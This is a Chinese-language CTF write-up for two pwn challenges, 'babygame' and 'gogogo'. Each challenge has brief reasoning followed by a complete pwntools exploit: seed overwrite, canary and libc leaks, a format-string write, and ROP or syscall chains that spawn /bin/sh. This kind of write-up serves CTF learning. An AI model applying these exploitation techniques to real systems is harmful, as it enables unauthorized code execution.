难过
babygame
思路
题目大意是剪刀石头布进行猜拳,设置了种子,但种子在栈上,且可溢出覆盖
所以就改掉种子,然后再for循环和它比,从而实现绕过进入漏洞函数
格式化字符串漏洞,只有一次,泄露libc同时跳到有栈溢出的那个read里
一开始因为没有泄露地址犹豫了很久,后来发现前边覆盖种子的时候似乎能进行泄露。。
EXP
from pwn import*
from ctypes import *
# p = process('./babygame')
#p = remote('120.25.205.249','20346')
elf = ELF("./babygame")
context.arch = "amd64"
# libc = elf.libc
libc = elf.libc
libc1 = cdll.LoadLibrary('./libc-2.31.so')
# context.log_level='debug'
gad=[0xe3b2e,0xe3b31,0xe3b34]
'''
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
def pwn():
p.recvuntil("Please input your name:")
p.send(0x100*'b'+8*'b'+'a')
p.recvuntil('a')
canary = u64('\x00'+p.recv(7))
stack = u64(p.recv(6)+'\x00'*2)
lg('canary',canary)
lg('stack',stack)
libc1.srand(0x62626262626262)
for i in range(1,101):
j = str((libc1.rand()+1)%3)
p.recvuntil('round '+str(i)+': ')
p.send(j)
game = 0x153E
ret = stack-(0x7ffea348d4c0-0x7ffea348d2a8)
pay = "%{}c%{}$hnk%9$p".format(1218,8)
pay += p64(ret)
p.recvuntil('Good luck to you.')
p.send(pay)
p.recvuntil('k')
libc_base = int(p.recv(14),16)-175-libc.sym['printf']
lg('libc_base',libc_base)
one = gad[1] + libc_base
system = libc_base+libc.sym['system']
bin_sh = libc_base+next(libc.search('/bin/sh\x00'))
pop_rdi = libc_base + 0x23b72
ret = 0x0000000000022679+libc_base
'''
0x0000000000023b72: pop rdi; ret;
0x0000000000022679: ret;
'''
pay = 0x100*'b'+p64(canary)*5+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.send(pay)
times = 0
while 1:
try:
p = process("./babygame")
pwn()
p.interactive()
except:
times += 1
print("="*8+str(times)+" times"+"="*8)
p.close()
tips:
这里也可以通过栈上的函数地址泄露pie偏移,就不用爆破了
复现
gogogo
思路
赛后看这题其实也不难,比赛的时候怎么就做不出呢
go语言程序,函数入口在math_init,字符串的输出都是单个字母,所以程序流不太好判断。
先要过第一个判断
如果进入elseif程序就结束了
我go不太好,大概应该是和开线程有关系,重新执行game
然后就如题所说是个游戏
然后就是网上找脚本绕过,这里改了一下验证函数(这部很关键,但其实这题爆破结果也能解,就是时间久一点)
python初学---猜数字游戏(游戏与AI,原创) - funolove - 博客园 (cnblogs.com)
然后就根据程序流找字符串,然后定位函数位置
这里是are you sure?,然后有个read
makeslice函数(19条消息) GO语言slice详解(结合源码)_胖子依然6的博客-CSDN博客_go语言slice源码这里有解释
Read_read读入0x800,栈溢出0x460,调用syscall即可
EXP
# coding=utf-8
from pwn import *
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p=process("./gogogo")
def guessTrainner():
start =time.time()
answerSet=answerSetInit(set())
for i in range(6):
inputStrMax=suggestedNum(answerSet,100)
print('第%d步----' %(i+1))
print('尝试:' +inputStrMax)
print('----')
AMax,BMax = compareAnswer(inputStrMax)
print('反馈:%dA%dB' % (AMax, BMax))
print('----')
print('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
answerSetUpd(answerSet,inputStrMax,AMax,BMax)
if AMax==4:
elapsed = (time.time() - start)
print("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))
break
elif i==5:
print("猜数字失败!")
def compareAnswer(inputStr):
inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
p.sendline(inputStr1)
ru('\n')
tmp = p.recvuntil('B',timeout=0.5)
# print(tmp)
if tmp == '':
return 4,4
tmp = tmp.split("A")
A = tmp[0]
B = tmp[1].split('B')[0]
return int(A),int(B)
def compareAnswer1(inputStr,answerStr):
A=0
B=0
for j in range(4):
if inputStr[j]==answerStr[j]:
A+=1
else:
for k in range(4):
if inputStr[j]==answerStr[k]:
B+=1
return A,B
def answerSetInit(answerSet):
answerSet.clear()
for i in range(1234,9877):
seti=set(str(i))
if len(seti)==4 and seti.isdisjoint(set('0')):
answerSet.add(str(i))
return answerSet
def answerSetUpd(answerSet,inputStr,A,B):
answerSetCopy=answerSet.copy()
for answerStr in answerSetCopy:
A1,B1=compareAnswer1(inputStr,answerStr)
if A!=A1 or B!=B1:
answerSet.remove(answerStr)
def answerSetDelNum(answerSet,inputStr,A,B):
i=0
for answerStr in answerSet:
A1, B1 = compareAnswer1(inputStr, answerStr)
if A!=A1 or B!=B1:
i+=1
return i
def suggestedNum(answerSet,lvl):
suggestedNum=''
delCountMax=0
if len(answerSet) > lvl:
suggestedNum = list(answerSet)[0]
else:
for inputStr in answerSet:
delCount = 0
for answerStr in answerSet:
A,B = compareAnswer1(inputStr, answerStr)
delCount += answerSetDelNum(answerSet, inputStr,A,B)
if delCount > delCountMax:
delCountMax = delCount
suggestedNum = inputStr
if delCount == delCountMax:
if suggestedNum == '' or int(suggestedNum) > int(inputStr):
suggestedNum = inputStr
return suggestedNum
ru("PLEASE INPUT A NUMBER:")
p.sendline("1717986918")
ru("PLEASE INPUT A NUMBER:")
p.sendline("1234")
ru("YOU HAVE SEVEN CHANCES TO GUESS")
guessTrainner()
sa("AGAIN OR EXIT?","exit")
sla("(4) EXIT","4")
syscall = 0x47CF05
binsh = 0xc00007c000
payload = '/bin/sh\x00'*0x8c + p64(syscall) + p64(0) + p64(59) + p64(binsh) + p64(0) + p64(0)
sla("ARE YOU SURE?",payload)
p.interactive()